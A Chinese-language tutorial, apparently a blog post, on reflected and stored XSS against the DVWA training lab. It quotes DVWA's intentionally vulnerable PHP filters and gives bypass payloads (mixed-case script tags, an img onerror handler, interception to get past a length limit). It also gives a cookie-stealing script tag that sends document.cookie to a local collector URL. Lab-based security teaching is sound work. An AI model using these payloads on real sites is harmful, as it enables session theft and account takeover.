XSS漏洞
XSS攻击全称跨站脚本攻击,XSS在客户端脚本安全中有着举足轻重的位置
利用原理:
攻击者通过“html注入”插入恶意脚本或篡改网页,当用户在浏览网页时,就会执行其中的恶意脚本
危害:
- 网络钓鱼,盗取各类用户账号
- 窃取用户cookie
- 强制弹窗
- 页面挂马
- 升级用户权限,进一步渗透网站
- 传播跨站脚本蠕虫
分类:
反射型XSS
常见,广泛但危害性不大,使用已经构造好的恶意URL发送给目标,诱使目标点击出发,只会执行一次
DVWA例子
- Security-low
图一:
如图,该页面会把用户输入的参数直接输出到页面上。如果输入的是一段JS代码1
<script> alert("xss"); </script>
就会发现alert()函数在当前页面被执行了
图二:
查看源代码发现1
<pre>Hello <script> alert("xss"); </script></pre>
我们所输入的Script脚本,已经被写入页面,这就完成了一次XSS攻击
- Security-Medium
原理相同,只是在原本的基础上加入了针对特定字符的过滤,需要进行绕过
页面源代码1
2
3
4
5
6
7
8
9
10
11
12<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析后发现是使用了黑名单过滤,我们只需要利用大小写混用绕过即可
图三:
- Security-High
页面源代码1
2
3
4
5
6
7
8
9
10
11
12<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析后发现,大小混用绕过已经不可行,得另想办法
利用img,上传一张不存在的图片,其返回的erro中会附加有script,因此可以输入
1 | <img src=# onerror=alert("xss")> |
图四:
储存型XSS
不需要用户点击特定的URL就能执行跨站脚本,攻击者可以事先将恶意JS代码上传或者储存到服务器中,只要受害者浏览包含此恶意的代码页面就会执行恶意代码
DVWA例子
Security-low
没有过滤,可以直接在message栏中输入恶意代码Security-Medium
页面源代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
发现针对message的过滤很多,对name的过滤较少。但name输入框对长度有限制,可以利用截包,无视其长度限制
图五:
图六:
- Security-High
与中等难度原理相通,同样是通过在过滤较少的name一栏输入恶意代码,同时绕过方法与反射型high的绕过方法一样
图七:
成功
XSS盗用cookie登录
- 编写接受cookie的php脚本
1 | <?php |
- 构造攻击盗取cookie脚本
1
<script>document.location=‘http://127.0.0.1/dvwa/cookie.php?cookie=’+document.cookie;</script>